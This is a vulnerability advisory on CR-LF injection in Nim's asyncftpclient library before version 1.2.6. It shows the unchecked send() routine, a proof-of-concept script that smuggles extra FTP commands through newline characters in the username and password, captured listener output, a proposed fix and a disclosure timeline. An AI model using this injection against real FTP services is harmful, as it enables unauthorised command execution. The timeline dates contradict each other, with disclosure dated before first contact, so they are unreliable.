Vulnerability Note
1 Summary
In Nim before 1.2.6, the standard library asyncftpclient lacks a check for whether a message contains a newline character.
2 Details
2.1 Description
The nim standard library asyncftpclient
is vulnerable to multiple CR-LF
injections. An injection is possible if the attacker controls any argument that is passed to the remote server such as the username
and password
to newAsyncFtpClient
.
The root cause of this issue is that the send(ftp, msg)
allows msg
to contain CR-LF
control characters. An attacker that controls any unchecked input to send()
can therefore inject arbitrary FTP commands.
proc send*(ftp: AsyncFtpClient, m: string): Future[TaintedString] {.async.} =
## Send a message to the server, and wait for a primary reply.
## ``\c\L`` is added for you.
##
## **Note:** The server may return multiple lines of coded replies.
await ftp.csock.send(m & "\c\L")
return await ftp.expectReply()
2.2 Proof of Concept
Note: nim c -r -d:ssl crlf_inject.nim
Injecting FTP commands via
user
andpass
import asyncdispatch, asyncftpclient proc main() {.async.} = var ftp = newAsyncFtpClient("localhost", user = "test\nINJECTED_LINE test test", pass = "test\nINJECTED_LINE test test 2") await ftp.connect() echo("Connected") waitFor(main())
Output:
⇒ nim c -r -d:ssl crlf_inject.nim
...
Hint: 104717 LOC; 1.030 sec; 113.309MiB peakmem; Debug build; proj: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject.nim; out: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject [SuccessX]
Hint: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject [Exec]
Connected
⇒ nc -l 21
220 fake ftp
USER test
INJECTED_LINE test test
230 Hi test, thanks for injecting a line...
PASS test
INJECTED_LINE test test 2
230 thx for injecting another line...
2.3 Proposed Fix
- properly validate user input
- raise an exception if
CR
orLF
if found in themsg
passed tosend()
3 Vendor Response
Vendor response: fixed in 1.2.6
3.1 Timeline
JUL/13/2020 - contact nim developers @telegram; provided details, PoC
FEB/04/2020 - public disclosure